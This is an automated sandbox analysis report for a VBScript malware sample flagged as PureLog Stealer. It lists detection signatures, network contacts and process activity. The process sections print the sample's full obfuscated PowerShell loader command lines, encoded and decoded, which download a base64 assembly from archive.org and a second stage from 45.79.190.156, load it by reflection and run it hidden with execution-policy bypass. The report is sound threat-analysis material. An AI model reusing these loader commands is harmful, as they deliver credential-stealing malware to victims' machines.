Windows Analysis Report
aK7smea2Vv.vbs

Overview

General Information

Sample name: aK7smea2Vv.vbs
renamed because original name is a hash value
Original sample name: 5ae8ef220711cf775ea5b5e8a93db4e2a88829709cf68e1a810f47229fdba903.vbs
Analysis ID: 1523831
MD5: 1c640c5256d9b20ca3693754dadea139
SHA1: 025616236d051812117c1b2e482fb715f0e1cc94
SHA256: 5ae8ef220711cf775ea5b5e8a93db4e2a88829709cf68e1a810f47229fdba903
Tags: BlindEaglevbsuser-JAMESWT_MHT
Infos:

Detection

PureLog Stealer
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Sigma detected: Powershell Download and Execute IEX
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell decode and execute
Yara detected PureLog Stealer
AI detected suspicious sample
Bypasses PowerShell execution policy
Found suspicious powershell code related to unpacking or dynamic code loading
Obfuscated command line found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains functionality to detect virtual machines (SLDT)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

AV Detection
barindex
Multi AV Scanner detection for domain / URL
Source: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt Virustotal: Detection: 10% Perma Link
Multi AV Scanner detection for submitted file
Source: aK7smea2Vv.vbs Virustotal: Detection: 9% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.2% probability
Source: unknown HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.pdb source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbG source: powershell.exe, 00000004.00000002.1920578665.00000251EDCD1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000004.00000002.1921857580.00000251EDE30000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: dbpdbtem.pdb source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.pdbj source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\System.Management.Automation.pdbk source: powershell.exe, 00000004.00000002.1920578665.00000251EDCD1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbI/ source: powershell.exe, 00000004.00000002.1921857580.00000251EDE30000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Data.Linq.pdb source: powershell.exe, 00000004.00000002.1903308651.000002519101B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1922445432.00000251EE1E0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: System.pdb source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities
barindex
Suspicious execution chain found
Source: C:\Windows\System32\wscript.exe Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /560/WRDF.txt HTTP/1.1Host: 45.79.190.156Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /560/WRDF.txt HTTP/1.1Host: 45.79.190.156Connection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 207.241.227.240 207.241.227.240
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: unknown TCP traffic detected without corresponding DNS query: 45.79.190.156
Source: unknown TCP traffic detected without corresponding DNS query: 45.79.190.156
Source: unknown TCP traffic detected without corresponding DNS query: 45.79.190.156
Source: unknown TCP traffic detected without corresponding DNS query: 45.79.190.156
Source: unknown TCP traffic detected without corresponding DNS query: 45.79.190.156
Source: unknown TCP traffic detected without corresponding DNS query: 45.79.190.156
Source: unknown TCP traffic detected without corresponding DNS query: 45.79.190.156
Source: unknown TCP traffic detected without corresponding DNS query: 45.79.190.156
Source: unknown TCP traffic detected without corresponding DNS query: 45.79.190.156
Source: unknown TCP traffic detected without corresponding DNS query: 45.79.190.156
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /560/WRDF.txt HTTP/1.1Host: 45.79.190.156Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /560/WRDF.txt HTTP/1.1Host: 45.79.190.156Connection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: ia600100.us.archive.org
Source: powershell.exe, 00000004.00000002.1889889950.0000025180424000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://45.79.190.156
Source: powershell.exe, 00000004.00000002.1889889950.0000025180602000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://45.79.190.156(
Source: powershell.exe, 00000004.00000002.1889889950.0000025180424000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://45.79.190.156/560/WRDF.txt
Source: powershell.exe, 00000004.00000002.1889889950.0000025180424000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://45.79.190.156p
Source: powershell.exe, 00000002.00000002.1941434841.000001C47A562000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.m
Source: powershell.exe, 00000004.00000002.1918181957.00000251EBC85000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000002.00000002.1941434841.000001C47A562000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.msoft
Source: powershell.exe, 00000004.00000002.1889889950.00000251816CB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ia600100.us.archive.org
Source: powershell.exe, 00000004.00000002.1889889950.0000025181987000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1903308651.0000025190072000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.1889889950.0000025180222000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.1931428866.000001C46252C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1889889950.0000025180001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.1889889950.0000025181713000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000004.00000002.1889889950.0000025180222000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.1931428866.000001C4624DB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000002.00000002.1931428866.000001C4624F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1889889950.0000025180001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.1903308651.0000025190072000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1903308651.0000025190072000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1903308651.0000025190072000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.1889889950.0000025180222000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.1889889950.00000251811EB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.1889889950.00000251816C6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ia600100.us.arX(p
Source: powershell.exe, 00000004.00000002.1889889950.00000251813D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1889889950.0000025180222000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ia600100.us.archive.org
Source: powershell.exe, 00000004.00000002.1889889950.0000025180222000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
Source: powershell.exe, 00000004.00000002.1889889950.0000025180222000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtkfs;DC7base64Content
Source: powershell.exe, 00000004.00000002.1889889950.0000025181987000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1903308651.0000025190072000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000004.00000002.1889889950.0000025181713000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000004.00000002.1889889950.0000025181713000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oneget.orgX
Source: unknown Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.9:49706 version: TLS 1.2

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: Process Memory Space: powershell.exe PID: 7472, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7612, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8} Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD Jump to behavior
Java / VBScript file with very long strings (likely obfuscated code)
Source: aK7smea2Vv.vbs Initial sample: Strings found which are bigger than 50
Yara signature match
Source: Process Memory Space: powershell.exe PID: 7472, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7612, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: classification engine Classification label: mal100.troj.expl.evad.winVBS@6/6@1/2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7480:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j3yc2gw1.wej.ps1 Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\aK7smea2Vv.vbs"
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: aK7smea2Vv.vbs Virustotal: Detection: 9%
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\aK7smea2Vv.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX" Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: vbscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
